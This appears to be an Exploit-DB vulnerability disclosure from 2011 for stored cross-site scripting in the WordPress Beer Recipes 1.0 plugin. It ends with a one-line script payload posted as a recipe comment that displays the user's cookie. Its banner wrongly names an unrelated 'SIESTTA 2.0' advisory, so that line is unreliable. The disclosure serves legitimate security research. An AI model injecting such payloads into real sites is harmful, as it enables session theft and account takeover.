WordPress Plugin Beer Recipes 1.0 - Cross-Site Scripting

Author: TheUzuki.'
type: webapps
platform: php
port: 
date_added: 2011-06-26 
date_updated: 2011-06-26 
verified: 0 
codes:  
tags: WordPress Plugin
aliases:  
screenshot_url:  
application_url: 

# Exploit Title: Wordpress - Beer Recipes v.1.0 XSS
# Google Dork: -
# Date: June / 25 / 2011
# Author: TheUzuki.'
# Software Link: http://opensourcebrew.org/beer-recipes-plugin/
# Version: v.1.0
# Tested on: Windows 7
# CVE : -

####################################################################
# SIESTTA 2.0 (LFI/XSS) Multiple Vulnerabilities
# download: http://opensourcebrew.org/beer-recipes-plugin/
#
# Author: TheUzuki.' from HF
# mail: uzuki[@]live[dot]de
#
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.
#
####################################################################
#
# Notes: You need to be User at the Wordpress Board
#
####################################################################

--Description of Wordpress Plugin--

Creates a custom post type for easily entering beer recipes into WordPress

--Exploit--

By Commenting a Beer Recip, with a javascript, the Javascripts,gets executed directly.
This causes a XSS.

--PoC--

<script>alert(document.cookie)</script>